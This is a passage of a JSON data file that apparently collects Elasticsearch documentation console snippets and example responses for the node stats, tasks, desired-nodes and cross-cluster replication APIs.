/_nodes/stats/indices\n\n# return just os and process\nGET /_nodes/stats/os,process\n\n# return just process for node with IP address 10.0.0.1\nGET /_nodes/10.0.0.1/stats/process"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2872},"digest":"150b5fee5678bf8cdf0932da73eada80","lang":"console","found":["ruby"],"source":"# Fielddata summarized by node\nGET /_nodes/stats/indices/fielddata?fields=field1,field2\n\n# Fielddata summarized by node and index\nGET /_nodes/stats/indices/fielddata?level=indices&fields=field1,field2\n\n# Fielddata summarized by node, index, and shard\nGET /_nodes/stats/indices/fielddata?level=shards&fields=field1,field2\n\n# You can use wildcards for field names\nGET /_nodes/stats/indices/fielddata?fields=field*"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2890},"digest":"bd68666ca2e0be12f7624016317a62bc","lang":"console","found":["ruby"],"source":"# All groups with all stats\nGET /_nodes/stats?groups=_all\n\n# Some groups from just the indices stats\nGET /_nodes/stats/indices?groups=foo,bar"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2906},"digest":"09769561f082b50558fb7d8707719963","lang":"console","found":["ruby"],"source":"GET /_nodes/stats/ingest?filter_path=nodes.*.ingest"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2914},"digest":"ef9c29759459904fef162acd223462c4","lang":"console","found":["ruby"],"source":"GET /_nodes/stats?metric=ingest&filter_path=nodes.*.ingest"}, {"source_location":{"file":"cluster/nodes-stats.asciidoc","line":2922},"digest":"f160561efab38e40c2feebf5a2542ab5","lang":"console","found":["ruby"],"source":"GET /_nodes/stats?metric=ingest&filter_path=nodes.*.ingest.pipelines"}, {"source_location":{"file":"cluster/cluster-info.asciidoc","line":354},"digest":"74da377bccad43da2b0e276c086d26ba","lang":"console","found":["ruby"],"source":"# returns all stats info of the cluster\nGET /_info/_all\n\n# returns the http info of the cluster\nGET /_info/http\n\n# returns the http info of the cluster\nGET /_info/ingest\n\n# returns the thread_pool info of the cluster\nGET /_info/thread_pool\n\n# returns the script info of the cluster\nGET /_info/script\n\n# returns the http and ingest info of the cluster\nGET /_info/http,ingest"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":70},"digest":"166bcfc6d5d39defec7ad6aa44d0914b","lang":"console","found":["ruby"],"source":"GET _tasks <1>\nGET _tasks?nodes=nodeId1,nodeId2 <2>\nGET _tasks?nodes=nodeId1,nodeId2&actions=cluster:* <3>"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":84},"digest":"7c407f3a8d5cb690829b8fa58bb8fd42","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"oTUltX4IQMOUUVeiohTt8A\" : {\n \"name\" : \"H5dfFeA\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"host\" : \"127.0.0.1\",\n \"ip\" : \"127.0.0.1:9300\",\n \"tasks\" : {\n \"oTUltX4IQMOUUVeiohTt8A:124\" : {\n \"node\" : \"oTUltX4IQMOUUVeiohTt8A\",\n \"id\" : 124,\n \"type\" : \"direct\",\n \"action\" : \"cluster:monitor/tasks/lists[n]\",\n \"start_time_in_millis\" : 1458585884904,\n \"running_time_in_nanos\" : 47402,\n \"cancellable\" : false,\n \"parent_task_id\" : \"oTUltX4IQMOUUVeiohTt8A:123\"\n },\n \"oTUltX4IQMOUUVeiohTt8A:123\" : {\n \"node\" : \"oTUltX4IQMOUUVeiohTt8A\",\n \"id\" : 123,\n \"type\" : \"transport\",\n \"action\" : \"cluster:monitor/tasks/lists\",\n \"start_time_in_millis\" : 1458585884904,\n \"running_time_in_nanos\" : 236042,\n \"cancellable\" : false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":124},"digest":"33610800d9de3c3e6d6b3c611ace7330","lang":"console","found":["ruby"],"source":"GET _tasks/oTUltX4IQMOUUVeiohTt8A:124"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":134},"digest":"29824032d7d64512d17458fdd687b1f6","lang":"console","found":["ruby"],"source":"GET _tasks?parent_task_id=oTUltX4IQMOUUVeiohTt8A:123"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":149},"digest":"8f4a7f68f2ca3698abdf20026a2d8c5f","lang":"console","found":["ruby"],"source":"GET _tasks?actions=*search&detailed"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":157},"digest":"79a552a601e32652d613d001342e2085","lang":"console-result","found":[],"source":"{\n \"nodes\" : {\n \"oTUltX4IQMOUUVeiohTt8A\" : {\n \"name\" : \"H5dfFeA\",\n \"transport_address\" : \"127.0.0.1:9300\",\n \"host\" : \"127.0.0.1\",\n \"ip\" : \"127.0.0.1:9300\",\n \"tasks\" : {\n \"oTUltX4IQMOUUVeiohTt8A:464\" : {\n \"node\" : \"oTUltX4IQMOUUVeiohTt8A\",\n \"id\" : 464,\n \"type\" : \"transport\",\n \"action\" : \"indices:data/read/search\",\n \"description\" : \"indices[test], types[test], search_type[QUERY_THEN_FETCH], source[{\\\"query\\\":...}]\",\n \"start_time_in_millis\" : 1483478610008,\n \"running_time_in_nanos\" : 13991383,\n \"cancellable\" : true,\n \"cancelled\" : false\n }\n }\n }\n }\n}"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":213},"digest":"93fb59d3204f37af952198b331fb6bb7","lang":"console","found":["ruby"],"source":"GET _tasks/oTUltX4IQMOUUVeiohTt8A:12345?wait_for_completion=true&timeout=10s"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":222},"digest":"77447e2966708e92f5e219d43ac3f00d","lang":"console","found":["ruby"],"source":"GET _tasks?actions=*reindex&wait_for_completion=true&timeout=10s"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":233},"digest":"d89d36741d906a71eca6c144e8d83889","lang":"console","found":["ruby"],"source":"POST _tasks/oTUltX4IQMOUUVeiohTt8A:12345/_cancel"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":243},"digest":"612c2e975f833de9815651135735eae5","lang":"console","found":["ruby"],"source":"POST _tasks/_cancel?nodes=nodeId1,nodeId2&actions=*reindex"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":266},"digest":"bd3d710ec50a151453e141691163af72","lang":"console","found":["ruby"],"source":"GET _tasks?group_by=parents"}, {"source_location":{"file":"cluster/tasks.asciidoc","line":273},"digest":"a3ce0cfe2176f3d8a36959a5916995f0","lang":"console","found":["ruby"],"source":"GET _tasks?group_by=none"}, {"source_location":{"file":"cluster/voting-exclusions.asciidoc","line":105},"digest":"f6ead39c5505045543b9225deca7367d","lang":"console","found":[],"source":"POST /_cluster/voting_config_exclusions?node_names=nodeName1,nodeName2"}, {"source_location":{"file":"cluster/voting-exclusions.asciidoc","line":112},"digest":"25cb9e1da00dfd971065ce182467434d","lang":"console","found":[],"source":"DELETE /_cluster/voting_config_exclusions"}, {"source_location":{"file":"cluster/update-desired-nodes.asciidoc","line":15},"digest":"0470d7101637568b9d3d1239f06325a7","lang":"console","found":[],"source":"PUT /_internal/desired_nodes//\n{\n \"nodes\" : [\n {\n \"settings\" : {\n \"node.name\" : \"instance-000187\",\n \"node.external_id\": \"instance-000187\",\n \"node.roles\" : [\"data_hot\", \"master\"],\n \"node.attr.data\" : \"hot\",\n \"node.attr.logical_availability_zone\" : \"zone-0\"\n },\n \"processors\" : 8.0,\n \"memory\" : \"58gb\",\n \"storage\" : \"2tb\"\n }\n ]\n}"}, {"source_location":{"file":"cluster/update-desired-nodes.asciidoc","line":74},"digest":"10796a4efa3c2a5e9e50b6bdeb08bbb9","lang":"console","found":[],"source":"PUT /_internal/desired_nodes/Ywkh3INLQcuPT49f6kcppA/100\n{\n \"nodes\" : [\n {\n \"settings\" : {\n \"node.name\" : \"instance-000187\",\n \"node.external_id\": \"instance-000187\",\n \"node.roles\" : [\"data_hot\", \"master\"],\n \"node.attr.data\" : \"hot\",\n \"node.attr.logical_availability_zone\" : \"zone-0\"\n },\n \"processors\" : 8.0,\n \"memory\" : \"58gb\",\n \"storage\" : \"2tb\"\n }\n ]\n}"}, {"source_location":{"file":"cluster/update-desired-nodes.asciidoc","line":98},"digest":"e730bc06f7da5502e26fb6e6eaf49ce4","lang":"console-result","found":[],"source":"{\n \"replaced_existing_history_id\": false,\n \"dry_run\": false\n}"}, {"source_location":{"file":"cluster/update-desired-nodes.asciidoc","line":112},"digest":"dfcdcd3ea6753dcc391a4a52cf640527","lang":"console","found":[],"source":"PUT /_internal/desired_nodes/Ywkh3INLQcuPT49f6kcppA/101\n{\n \"nodes\" : [\n {\n \"settings\" : {\n \"node.name\" : \"instance-000187\",\n \"node.external_id\": \"instance-000187\",\n \"node.roles\" : [\"data_hot\", \"master\"],\n \"node.attr.data\" : \"hot\",\n \"node.attr.logical_availability_zone\" : \"zone-0\"\n },\n \"processors_range\" : {\"min\": 8.0, \"max\": 10.0},\n \"memory\" : \"58gb\",\n \"storage\" : \"2tb\"\n }\n ]\n}"}, {"source_location":{"file":"cluster/get-desired-nodes.asciidoc","line":48},"digest":"cf8ca470156698dbf47fdc822d0a714f","lang":"console","found":[],"source":"GET /_internal/desired_nodes/_latest"}, {"source_location":{"file":"cluster/get-desired-nodes.asciidoc","line":64},"digest":"cf8ca470156698dbf47fdc822d0a714f","lang":"console","found":[],"source":"GET /_internal/desired_nodes/_latest"}, {"source_location":{"file":"cluster/get-desired-nodes.asciidoc","line":72},"digest":"023bc689ecbbc705efd6e5f429bf96f0","lang":"console-result","found":[],"source":"{\n \"history_id\": ,\n \"version\": ,\n \"nodes\": [\n {\n \"settings\": ,\n \"processors\": ,\n \"memory\": \"\",\n \"storage\": \"\"\n }\n ]\n}"}, {"source_location":{"file":"cluster/delete-desired-nodes.asciidoc","line":39},"digest":"ddf375e4b6175d830fa4097ea0b41536","lang":"console","found":[],"source":"DELETE /_internal/desired_nodes"}, {"source_location":{"file":"cluster/delete-desired-nodes.asciidoc","line":55},"digest":"ddf375e4b6175d830fa4097ea0b41536","lang":"console","found":[],"source":"DELETE /_internal/desired_nodes"}, {"source_location":{"file":"cluster/get-desired-balance.asciidoc","line":21},"digest":"97a3216af3d4b4d805d467d9c715cb3e","lang":"console","found":[],"source":"GET /_internal/desired_balance"}, {"source_location":{"file":"cluster/get-desired-balance.asciidoc","line":29},"digest":"0c685b4dbb4d1b1bbe34ee179f260e3f","lang":"console-result","found":[],"source":"{\n \"stats\": {\n \"computation_active\": false,\n \"computation_submitted\": 5,\n \"computation_executed\": 5,\n \"computation_converged\": 5,\n \"computation_iterations\": 4,\n \"computation_converged_index\": 4,\n \"computation_time_in_millis\": 0,\n \"reconciliation_time_in_millis\": 0\n },\n \"cluster_balance_stats\" : {\n \"shard_count\": 37,\n \"undesired_shard_allocation_count\": 0,\n \"tiers\": {\n \"data_hot\" : {\n \"shard_count\" : {\n \"total\" : 7.0,\n \"min\" : 2.0,\n \"max\" : 3.0,\n \"average\" : 2.3333333333333335,\n \"std_dev\" : 0.4714045207910317\n },\n \"undesired_shard_allocation_count\" : {\n \"total\" : 0.0,\n \"min\" : 0.0,\n \"max\" : 0.0,\n \"average\" : 0.0,\n \"std_dev\" : 0.0\n },\n \"forecast_write_load\" : {\n \"total\" : 21.0,\n \"min\" : 6.0,\n \"max\" : 8.5,\n \"average\" : 7.0,\n \"std_dev\" : 1.0801234497346435\n },\n \"forecast_disk_usage\" : {\n \"total\" : 36.0,\n \"min\" : 10.0,\n \"max\" : 16.0,\n \"average\" : 12.0,\n \"std_dev\" : 2.8284271247461903\n },\n \"actual_disk_usage\" : {\n \"total\" : 36.0,\n \"min\" : 10.0,\n \"max\" : 16.0,\n \"average\" : 12.0,\n \"std_dev\" : 2.8284271247461903\n }\n },\n \"data_warm\" : {\n \"shard_count\" : {\n \"total\" : 3.0,\n \"min\" : 1.0,\n \"max\" : 1.0,\n \"average\" : 1.0,\n \"std_dev\" : 0.0\n },\n \"undesired_shard_allocation_count\" : {\n \"total\" : 0.0,\n \"min\" : 0.0,\n \"max\" : 0.0,\n \"average\" : 0.0,\n \"std_dev\" : 0.0\n },\n \"forecast_write_load\" : {\n \"total\" : 0.0,\n \"min\" : 0.0,\n \"max\" : 0.0,\n \"average\" : 0.0,\n \"std_dev\" : 0.0\n },\n \"forecast_disk_usage\" : {\n \"total\" : 42.0,\n \"min\" : 12.0,\n \"max\" : 18.0,\n \"average\" : 14.0,\n \"std_dev\" : 2.8284271247461903\n },\n \"actual_disk_usage\" : {\n \"total\" : 42.0,\n \"min\" : 12.0,\n \"max\" : 18.0,\n \"average\" : 14.0,\n \"std_dev\" : 2.8284271247461903\n }\n }\n },\n \"nodes\": {\n \"node-1\": {\n \"node_id\": \"UPYt8VwWTt-IADAEbqpLxA\",\n \"roles\": [\"data_content\"],\n \"shard_count\": 10,\n \"undesired_shard_allocation_count\": 0,\n \"forecast_write_load\": 8.5,\n \"forecast_disk_usage_bytes\": 498435,\n \"actual_disk_usage_bytes\": 498435\n },\n \"node-2\": {\n \"node_id\": \"bgC66tboTIeFQ0VgRGI4Gg\",\n \"roles\": [\"data_content\"],\n \"shard_count\": 15,\n \"undesired_shard_allocation_count\": 0,\n \"forecast_write_load\": 3.25,\n \"forecast_disk_usage_bytes\": 384935,\n \"actual_disk_usage_bytes\": 384935\n },\n \"node-3\": {\n \"node_id\": \"2x1VTuSOQdeguXPdN73yRw\",\n \"roles\": [\"data_content\"],\n \"shard_count\": 12,\n \"undesired_shard_allocation_count\": 0,\n \"forecast_write_load\": 6.0,\n \"forecast_disk_usage_bytes\": 648766,\n \"actual_disk_usage_bytes\": 648766\n }\n }\n },\n \"routing_table\": {\n \"test\": {\n \"0\": {\n \"current\": [\n {\n \"state\": \"STARTED\",\n \"primary\": true,\n \"node\": \"UPYt8VwWTt-IADAEbqpLxA\",\n \"node_is_desired\": true,\n \"relocating_node\": null,\n \"relocating_node_is_desired\": null,\n \"shard_id\": 0,\n \"index\": \"test\",\n \"forecast_write_load\": 8.0,\n \"forecast_shard_size_in_bytes\": 1024,\n \"tier_preference\": [\"data_content\"]\n }\n ],\n \"desired\": {\n \"node_ids\": [\n \"UPYt8VwWTt-IADAEbqpLxA\"\n ],\n \"total\": 1,\n \"unassigned\": 0,\n \"ignored\": 0\n }\n },\n \"1\": {\n \"current\": [\n {\n \"state\": \"STARTED\",\n \"primary\": true,\n \"node\": \"2x1VTuSOQdeguXPdN73yRw\",\n \"node_is_desired\": true,\n \"relocating_node\": null,\n \"relocating_node_is_desired\": false,\n \"shard_id\": 1,\n \"index\": \"test\",\n \"forecast_write_load\": null,\n \"forecast_shard_size_in_bytes\": null,\n \"tier_preference\": [\"data_content\"]\n }\n ],\n \"desired\": {\n \"node_ids\": [\n \"2x1VTuSOQdeguXPdN73yRw\"\n ],\n \"total\": 1,\n \"unassigned\": 0,\n \"ignored\": 0\n }\n }\n }\n },\n \"cluster_info\" : {\n \"nodes\" : {\n \"UPYt8VwWTt-IADAEbqpLxA\" : {\n \"node_name\" : \"node-1\",\n \"least_available\" : {\n \"path\" : \"/data\",\n \"total_bytes\" : 1440713945,\n \"used_bytes\" : 1222486407,\n \"free_bytes\" : 218227538,\n \"free_disk_percent\" : 15.1,\n \"used_disk_percent\" : 84.9\n },\n \"most_available\" : {\n \"path\" : \"/data\",\n \"total_bytes\" : 1440713945,\n \"used_bytes\" : 1222486407,\n \"free_bytes\" : 218227538,\n \"free_disk_percent\" : 15.1,\n \"used_disk_percent\" : 84.9\n }\n }\n },\n \"shard_sizes\" : {\n \"[test][0][p]_bytes\" : 1720826288,\n \"[test][1][p]_bytes\" : 1720826288\n },\n \"shard_data_set_sizes\" : {\n \"[test][0][p]_bytes\" : 1720826288,\n \"[test][1][p]_bytes\" : 1720826288\n },\n \"shard_paths\" : {\n \"NodeAndShard[nodeId=UPYt8VwWTt-IADAEbqpLxA, shardId=[test][0]]\" : \"/data\",\n \"NodeAndShard[nodeId=bgC66tboTIeFQ0VgRGI4Gg, shardId=[test][0]]\" : \"/data\"\n },\n \"reserved_sizes\" : []\n }\n}"}, {"source_location":{"file":"cluster/delete-desired-balance.asciidoc","line":21},"digest":"b3756e700d0f6c7e8919003bdf26bc8f","lang":"console","found":[],"source":"DELETE /_internal/desired_balance"}, {"source_location":{"file":"ccr/apis/get-ccr-stats.asciidoc","line":36},"digest":"9b30a69fec54cf01f7af1b04a6e15239","lang":"console","found":[],"source":"GET /_ccr/stats"}, {"source_location":{"file":"ccr/apis/get-ccr-stats.asciidoc","line":103},"digest":"9b30a69fec54cf01f7af1b04a6e15239","lang":"console","found":[],"source":"GET /_ccr/stats"}, {"source_location":{"file":"ccr/apis/get-ccr-stats.asciidoc","line":110},"digest":"8361bb72af84f3fa4199aa78ecfca6af","lang":"console-result","found":[],"source":"{\n \"auto_follow_stats\" : {\n \"number_of_failed_follow_indices\" : 0,\n \"number_of_failed_remote_cluster_state_requests\" : 0,\n \"number_of_successful_follow_indices\" : 1,\n \"recent_auto_follow_errors\" : [],\n \"auto_followed_clusters\" : []\n },\n \"follow_stats\" : {\n \"indices\" : [\n {\n \"index\" : \"follower_index\",\n \"total_global_checkpoint_lag\" : 256,\n \"shards\" : [\n {\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index\" : \"leader_index\",\n \"follower_index\" : \"follower_index\",\n \"shard_id\" : 0,\n \"leader_global_checkpoint\" : 1024,\n \"leader_max_seq_no\" : 1536,\n \"follower_global_checkpoint\" : 768,\n \"follower_max_seq_no\" : 896,\n \"last_requested_seq_no\" : 897,\n \"outstanding_read_requests\" : 8,\n \"outstanding_write_requests\" : 2,\n \"write_buffer_operation_count\" : 64,\n \"follower_mapping_version\" : 4,\n \"follower_settings_version\" : 2,\n \"follower_aliases_version\" : 8,\n \"total_read_time_millis\" : 32768,\n \"total_read_remote_exec_time_millis\" : 16384,\n \"successful_read_requests\" : 32,\n \"failed_read_requests\" : 0,\n \"operations_read\" : 896,\n \"bytes_read\" : 32768,\n \"total_write_time_millis\" : 16384,\n \"write_buffer_size_in_bytes\" : 1536,\n \"successful_write_requests\" : 16,\n \"failed_write_requests\" : 0,\n \"operations_written\" : 832,\n \"read_exceptions\" : [ ],\n \"time_since_last_read_millis\" : 8\n }\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"ccr/apis/follow/put-follow.asciidoc","line":24},"digest":"73646c12ad33a813ab2280f1dc83500e","lang":"console","found":[],"source":"PUT //_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\" : \"\",\n \"leader_index\" : \"\"\n}"}, {"source_location":{"file":"ccr/apis/follow/put-follow.asciidoc","line":85},"digest":"ba10b644a4e9a2e7d78744ca607355d0","lang":"console","found":[],"source":"PUT /.ds-logs-mysql-default_copy-2022-01-01-000001/_ccr/follow\n{\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index\" : \".ds-logs-mysql-default-2022-01-01-000001\",\n \"data_stream_name\": \"logs-mysql-default_copy\"\n}"}, {"source_location":{"file":"ccr/apis/follow-request-body.asciidoc","line":84},"digest":"bb5221ac311cc0e719ab75895be81959","lang":"console-result","found":[],"source":"{\n \"follower_indices\" : [\n {\n \"parameters\" : {\n \"max_read_request_operation_count\" : 5120,\n \"max_read_request_size\" : \"32mb\",\n \"max_outstanding_read_requests\" : 12,\n \"max_write_request_operation_count\" : 5120,\n \"max_write_request_size\" : \"9223372036854775807b\",\n \"max_outstanding_write_requests\" : 9,\n \"max_write_buffer_count\" : 2147483647,\n \"max_write_buffer_size\" : \"512mb\",\n \"max_retry_delay\" : \"500ms\",\n \"read_poll_timeout\" : \"1m\"\n }\n }\n ]\n}\n"}, {"source_location":{"file":"ccr/apis/follow/put-follow.asciidoc","line":108},"digest":"1b3762712c14a19e8c2956b4f530d327","lang":"console","found":[],"source":"PUT /follower_index/_ccr/follow?wait_for_active_shards=1\n{\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index\" : \"leader_index\",\n \"settings\": {\n \"index.number_of_replicas\": 0\n },\n \"max_read_request_operation_count\" : 1024,\n \"max_outstanding_read_requests\" : 16,\n \"max_read_request_size\" : \"1024k\",\n \"max_write_request_operation_count\" : 32768,\n \"max_write_request_size\" : \"16k\",\n \"max_outstanding_write_requests\" : 8,\n \"max_write_buffer_count\" : 512,\n \"max_write_buffer_size\" : \"512k\",\n \"max_retry_delay\" : \"10s\",\n \"read_poll_timeout\" : \"30s\"\n}"}, {"source_location":{"file":"ccr/apis/follow/put-follow.asciidoc","line":133},"digest":"cd06634b8187698efa6a7990d3713297","lang":"console-result","found":[],"source":"{\n \"follow_index_created\" : true,\n \"follow_index_shards_acked\" : true,\n \"index_following_started\" : true\n}"}, {"source_location":{"file":"ccr/apis/follow/post-pause-follow.asciidoc","line":29},"digest":"483d669ec0768bc4e275a568c6164704","lang":"console","found":[],"source":"POST //_ccr/pause_follow"}, {"source_location":{"file":"ccr/apis/follow/post-pause-follow.asciidoc","line":67},"digest":"d3263afc69b6f969b9bbd8738cd07b97","lang":"console","found":["ruby"],"source":"POST /follower_index/_ccr/pause_follow"}, {"source_location":{"file":"ccr/apis/follow/post-pause-follow.asciidoc","line":75},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/follow/post-resume-follow.asciidoc","line":37},"digest":"109db8ff7b715aca98de8ef1ab7e44ab","lang":"console","found":[],"source":"POST //_ccr/resume_follow\n{\n}"}, {"source_location":{"file":"ccr/apis/follow-request-body.asciidoc","line":84},"digest":"bb5221ac311cc0e719ab75895be81959","lang":"console-result","found":[],"source":"{\n \"follower_indices\" : [\n {\n \"parameters\" : {\n \"max_read_request_operation_count\" : 5120,\n \"max_read_request_size\" : \"32mb\",\n \"max_outstanding_read_requests\" : 12,\n \"max_write_request_operation_count\" : 5120,\n \"max_write_request_size\" : \"9223372036854775807b\",\n \"max_outstanding_write_requests\" : 9,\n \"max_write_buffer_count\" : 2147483647,\n \"max_write_buffer_size\" : \"512mb\",\n \"max_retry_delay\" : \"500ms\",\n \"read_poll_timeout\" : \"1m\"\n }\n }\n ]\n}\n"}, {"source_location":{"file":"ccr/apis/follow/post-resume-follow.asciidoc","line":84},"digest":"824fded1f9db28906ae7e85ae8de9bd0","lang":"console","found":[],"source":"POST /follower_index/_ccr/resume_follow\n{\n \"max_read_request_operation_count\" : 1024,\n \"max_outstanding_read_requests\" : 16,\n \"max_read_request_size\" : \"1024k\",\n \"max_write_request_operation_count\" : 32768,\n \"max_write_request_size\" : \"16k\",\n \"max_outstanding_write_requests\" : 8,\n \"max_write_buffer_count\" : 512,\n \"max_write_buffer_size\" : \"512k\",\n \"max_retry_delay\" : \"10s\",\n \"read_poll_timeout\" : \"30s\"\n}"}, {"source_location":{"file":"ccr/apis/follow/post-resume-follow.asciidoc","line":103},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/follow/post-unfollow.asciidoc","line":33},"digest":"f6d493650b4344f17297b568016fb445","lang":"console","found":[],"source":"POST //_ccr/unfollow"}, {"source_location":{"file":"ccr/apis/follow/post-unfollow.asciidoc","line":74},"digest":"6a350a17701e8c8158407191f2718b66","lang":"console","found":["ruby"],"source":"POST /follower_index/_ccr/unfollow"}, {"source_location":{"file":"ccr/apis/follow/post-unfollow.asciidoc","line":82},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"ccr/apis/follow/post-forget-follower.asciidoc","line":35},"digest":"f4fdfe52ecba65eec6beb30d8deb8bbf","lang":"console","found":[],"source":"POST //_ccr/forget_follower\n{\n \"follower_cluster\" : \"\",\n \"follower_index\" : \"\",\n \"follower_index_uuid\" : \"\",\n \"leader_remote_cluster\" : \"\"\n}"}, {"source_location":{"file":"ccr/apis/follow/post-forget-follower.asciidoc","line":52},"digest":"8e4318a6e2029efb28ad4cf97bbb5b95","lang":"console-result","found":[],"source":"{\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"failed\" : 0,\n \"failures\" : [ ]\n }\n}"}, {"source_location":{"file":"ccr/apis/follow/post-forget-follower.asciidoc","line":133},"digest":"07c07f6d497b1a3012aa4320f830e09e","lang":"console","found":["ruby"],"source":"POST /leader_index/_ccr/forget_follower\n{\n \"follower_cluster\" : \"follower_cluster\",\n \"follower_index\" : \"follower_index\",\n \"follower_index_uuid\" : \"vYpnaWPRQB6mNspmoCeYyA\",\n \"leader_remote_cluster\" : \"leader_cluster\"\n}"}, {"source_location":{"file":"ccr/apis/follow/post-forget-follower.asciidoc","line":147},"digest":"8e4318a6e2029efb28ad4cf97bbb5b95","lang":"console-result","found":[],"source":"{\n \"_shards\" : {\n \"total\" : 1,\n \"successful\" : 1,\n \"failed\" : 0,\n \"failures\" : [ ]\n }\n}"}, {"source_location":{"file":"ccr/apis/follow/get-follow-stats.asciidoc","line":35},"digest":"020c95db88ef356093f03be84893ddf9","lang":"console","found":[],"source":"GET //_ccr/stats"}, {"source_location":{"file":"ccr/apis/follow/get-follow-stats.asciidoc","line":219},"digest":"8e43bb5b7946143e69d397bb81d87df0","lang":"console","found":[],"source":"GET /follower_index/_ccr/stats"}, {"source_location":{"file":"ccr/apis/follow/get-follow-stats.asciidoc","line":226},"digest":"c1ca24f67c9a08f906dc309250fa53ae","lang":"console-result","found":[],"source":"{\n \"indices\" : [\n {\n \"index\" : \"follower_index\",\n \"total_global_checkpoint_lag\" : 256,\n \"shards\" : [\n {\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index\" : \"leader_index\",\n \"follower_index\" : \"follower_index\",\n \"shard_id\" : 0,\n \"leader_global_checkpoint\" : 1024,\n \"leader_max_seq_no\" : 1536,\n \"follower_global_checkpoint\" : 768,\n \"follower_max_seq_no\" : 896,\n \"last_requested_seq_no\" : 897,\n \"outstanding_read_requests\" : 8,\n \"outstanding_write_requests\" : 2,\n \"write_buffer_operation_count\" : 64,\n \"follower_mapping_version\" : 4,\n \"follower_settings_version\" : 2,\n \"follower_aliases_version\" : 8,\n \"total_read_time_millis\" : 32768,\n \"total_read_remote_exec_time_millis\" : 16384,\n \"successful_read_requests\" : 32,\n \"failed_read_requests\" : 0,\n \"operations_read\" : 896,\n \"bytes_read\" : 32768,\n \"total_write_time_millis\" : 16384,\n \"write_buffer_size_in_bytes\" : 1536,\n \"successful_write_requests\" : 16,\n \"failed_write_requests\" : 0,\n \"operations_written\" : 832,\n \"read_exceptions\" : [ ],\n \"time_since_last_read_millis\" : 8\n }\n ]\n }\n ]\n}"}, {"source_location":{"file":"ccr/apis/follow/get-follow-info.asciidoc","line":28},"digest":"b2440b492149b705ef107137fdccb0c2","lang":"console","found":[],"source":"GET //_ccr/info"}, {"source_location":{"file":"ccr/apis/follow/get-follow-info.asciidoc","line":143},"digest":"a520168c1c8b454a8f102d6a13027c73","lang":"console","found":["ruby"],"source":"GET /follower_index/_ccr/info"}, {"source_location":{"file":"ccr/apis/follow/get-follow-info.asciidoc","line":150},"digest":"4b7385d7eccd7afdc0553abe4e7abfc7","lang":"console-result","found":[],"source":"{\n \"follower_indices\": [\n {\n \"follower_index\": \"follower_index\",\n \"remote_cluster\": \"remote_cluster\",\n \"leader_index\": \"leader_index\",\n \"status\": \"active\",\n \"parameters\": {\n \"max_read_request_operation_count\": 5120,\n \"max_read_request_size\": \"32mb\",\n \"max_outstanding_read_requests\": 12,\n \"max_write_request_operation_count\": 5120,\n \"max_write_request_size\": \"9223372036854775807b\",\n \"max_outstanding_write_requests\": 9,\n \"max_write_buffer_count\": 2147483647,\n \"max_write_buffer_size\": \"512mb\",\n \"max_retry_delay\": \"500ms\",\n \"read_poll_timeout\": \"1m\"\n }\n }\n ]\n}"}, {"source_location":{"file":"ccr/apis/follow/get-follow-info.asciidoc","line":192},"digest":"e844de023bb0a267b39d9fa524495a80","lang":"console-result","found":[],"source":"{\n \"follower_indices\": [\n {\n \"follower_index\": \"follower_index\",\n \"remote_cluster\": \"remote_cluster\",\n \"leader_index\": \"leader_index\",\n \"status\": \"paused\"\n }\n ]\n}"}, {"source_location":{"file":"ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc","line":14},"digest":"99c1cfe60f3ccf5bf3abd24c31ed9034","lang":"console","found":[],"source":"PUT /_ccr/auto_follow/\n{\n \"remote_cluster\" : \"\",\n \"leader_index_patterns\" :\n [\n \"\"\n ],\n \"leader_index_exclusion_patterns\":\n [\n \"\"\n ],\n \"follow_index_pattern\" : \"\"\n}"}, {"source_location":{"file":"ccr/apis/follow-request-body.asciidoc","line":84},"digest":"bb5221ac311cc0e719ab75895be81959","lang":"console-result","found":[],"source":"{\n \"follower_indices\" : [\n {\n \"parameters\" : {\n \"max_read_request_operation_count\" : 5120,\n \"max_read_request_size\" : \"32mb\",\n \"max_outstanding_read_requests\" : 12,\n \"max_write_request_operation_count\" : 5120,\n \"max_write_request_size\" : \"9223372036854775807b\",\n \"max_outstanding_write_requests\" : 9,\n \"max_write_buffer_count\" : 2147483647,\n \"max_write_buffer_size\" : \"512mb\",\n \"max_retry_delay\" : \"500ms\",\n \"read_poll_timeout\" : \"1m\"\n }\n }\n ]\n}\n"}, {"source_location":{"file":"ccr/apis/auto-follow/put-auto-follow-pattern.asciidoc","line":113},"digest":"90c087560ea6c0b7405f710971c86ef0","lang":"console","found":[],"source":"PUT /_ccr/auto_follow/my_auto_follow_pattern\n{\n \"remote_cluster\" : \"remote_cluster\",\n \"leader_index_patterns\" :\n [\n \"leader_index*\"\n ],\n \"follow_index_pattern\" : \"{{leader_index}}-follower\",\n \"settings\": {\n \"index.number_of_replicas\": 0\n },\n \"max_read_request_operation_count\" : 1024,\n \"max_outstanding_read_requests\" : 16,\n 